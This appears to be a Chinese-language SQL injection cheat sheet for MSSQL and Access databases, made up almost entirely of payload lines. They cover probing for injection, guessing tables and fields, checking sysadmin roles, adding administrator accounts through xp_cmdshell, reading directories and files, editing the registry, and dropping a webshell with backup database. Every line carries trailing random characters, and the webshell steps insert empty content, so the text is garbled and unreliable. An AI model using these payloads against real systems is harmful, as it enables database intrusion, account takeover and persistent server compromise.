1.判断是否有注入;and 1=1 ;and 1=2 x{R440"
2.初步判断是否是mssql ;and user>0 !#0)`4O
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3.注入参数是字符'and [查询条件] and ''=' pCKP{c=6Q
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' @ m`C%7<
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5.判断数据库系统 iYXD }l;r
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;and (select count(*) from sysobjects)>0 mssql MzvhE0ab
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;and (select count(*) from msysobjects)>0 access YmljHQP
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 do" m=y
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 5EtR>Pc
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 Z %pc"
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9.(1)猜字段的ascii值(access) `EKf1U\FI
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 $yOB-
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(2)猜字段的ascii值(mssql) -ssb|r
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 +yL;?+s>=
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10.测试权限结构(mssql) JA^!i98{
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- {\>4)TA
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 9~V'Wev
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- )WvKRp r
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- di9OQ*6a7
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 1ZYo-a;)
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- "XLtrAu{
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;and 1=(select IS_MEMBER('db_owner'));-- Z(6.e8fK
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11.添加mssql和系统的帐户 +zMhA p
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;exec master.dbo.sp_addlogin username;-- 1TTS@\
;exec master.dbo.sp_password null,username,password;-- e^eJ!~0
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- q.=Q
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;exec master.dbo.xp_cmdshell 'net user username password G06;x
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- %q|*}l
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- s;bGg
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12.(1)遍历目录 fh`Y2s|:7R
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;create table dirs(paths varchar(100), id int) ]@9W19=P!P
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;insert dirs exec master.dbo.xp_dirtree 'c:\' U=JK
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;and (select top 1 paths from dirs)>0 0E#??gN
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) |[n\'Xy;{
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(2)遍历目录 ?:/J8s
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- G h+;Vrx
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 XwEMF5[
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 eHUyV@
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 t'Yd+FK
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 @{qcu\sZ
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13.mssql中的存储过程 qDGx(d
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xp_regenumvalues 注册表根键, 子键 ;PMPXN'z6
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 dKPXs-5
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xp_regread 根键,子键,键值名 O~8jz
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;exec xp_regread Z-t qSw8n
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 JqLPJUr
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xp_regwrite 根键,子键, 值名, 值类型, 值 >Heuf"V
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 S8;c0}-
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xp_regdeletevalue 根键,子键,值名 De$Ic"Z9L
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 D'g@B.fXd
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 ^,'KmZm=
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14.mssql的backup创建webshell Y]&2E/oc
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use model p*$=EomY
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create table cmd(str image); Ei,dO;&
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insert into cmd(str) values (''); yYJ +vs
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backup database model to disk='c:\l.asp'; ?)qm=mebY
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15.mssql内置函数 q/7T-"q/G
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;and (select @@version)>0 获得Windows的版本号 {R~L7uR@O
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa )1 0aDTlr
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;and (select user_name())>0 爆当前系统的连接用户 =6'D/| 3
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;and (select db_name())>0 得到当前连接的数据库 gU@.IOg
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16.简洁的webshell SsL>K*t5
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use model Gnqun%
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create table cmd(str image); #Nv0d|0\
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insert into cmd(str) values (''); IrP6Rxh
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backup database model to disk='g:\wwwtest\l.asp';